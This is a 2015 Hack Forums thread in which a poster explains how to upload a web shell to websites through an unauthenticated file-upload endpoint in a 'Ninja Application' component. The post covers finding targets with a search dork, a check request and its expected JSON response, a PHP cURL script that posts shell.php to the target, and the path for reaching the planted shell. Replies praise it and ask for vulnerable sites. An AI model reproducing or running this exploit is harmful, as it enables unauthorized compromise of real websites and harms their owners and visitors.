+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [~] [Shell Upload:] Ninja Application File Upload Vulnerability [~] (/showthread.php?tid=4993982)
Pages: Pages
1
2
[~] [Shell Upload:] Ninja Application File Upload Vulnerability [~] - ReDeX2587 - Sep 20, 2015
Hello Guys,
Today I Will Show You How To Upload Shell/File To Website Using This Exploit
Today I Will Show You How To Upload Shell/File To Website Using This Exploit
Things Essential (Click to View)
Step One : Finding The Website
Firstly lets find a websites vulnerable to this exploit
Use The Following Dork (Click to View)
Step Two : Exploit
Check if the website vulnerable
Code
Exploit: localhost/ninja-applications/fufu/controllers/uploader/upload.phpStep Three : Checking For Vulnerability
If The website is vulnerable you will see
Code
{"jsonrpc" : "2.0", "result" : null, "id" : "id", "cleanFileName" : ""}Step Four : Uploading Shell
Once you find the vulnerable Website
create a new php file With the following code
create a new php file With the following code
PHP Code
<?php
$url = "target/ninja-applications/fufu/controllers/uploader/upload.php"; // put URL Here
$post = array
(
"file" => "@shell.php",
"name" => "shell.php"
);
$ch = curl_init ("$url");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
@curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
$data = curl_exec ($ch);
curl_close ($ch);
echo $data;
?>Step Five : Acessing The Shell
now exec the file and your shell should be uploaded
Acess The Shell From : localhost/uploads/temp/fufu55b8d6249069fiSHELL.php
END
PS: Was Gonna Upload Images Not enough Post's 😭
It was my first post hope you like it.
It was my first post hope you like it.
* - Aakash_Choudhary - Sep 20, 2015
Really nice first post but superb post 🤝
* - ReDeX2587 - Sep 20, 2015
(Sep 20, 2015 01:07 AM)Aakash_Choudhary Wrote: Really nice first post but superb post 🤝
Thanks For The Feed Back Mate :)
* - balasniper007 - Sep 20, 2015
Good Job My bro thanks For This i Need SQL CMD anyone have it ?
* - hakangjytyrymi - Sep 20, 2015
Good job i needed that.super post bro.Keep posting
* - Sharkky - Sep 20, 2015
How do I do that without brain ? Is it really necessary ?
Thank you guy, this is great, might come handy 😊
* - ReDeX2587 - Sep 21, 2015
(Sep 20, 2015 10:15 PM)Sharkky Wrote: How do I do that without brain ? Is it really necessary ?
Thank you guy, this is great, might come handy 😊
Thanks Mate BTW Brains For Skids :3
* - bass booster - Sep 21, 2015
The only website I ever get it a porn site LOL.
* - ReDeX2587 - Sep 22, 2015
(Sep 21, 2015 10:14 AM)bass booster Wrote: The only website I ever get it a porn site LOL.
Nice :3
* - jocker159 - Sep 22, 2015
I did'nt how to use the exploit please i want shell uploaded in this exploit pleaseeee
* - Password12 - Dec 1, 2015
Pictures please dont know exactly how you uploaded.
* - Snowdrop14 - Dec 2, 2015
can someone give me a valurnable site so i can upload a shell please i really wanna and its my first time doing it i have tried finding the right sites buut please give me a site so i can upload a shell
* - Dr.D3sk - Dec 2, 2015
hello ! not working !!
* - AnonymousBuffalo - Dec 4, 2015
pretty nice for your first post
* - God.Anons - Dec 4, 2015
Nice bro! Let me see, Thanks :))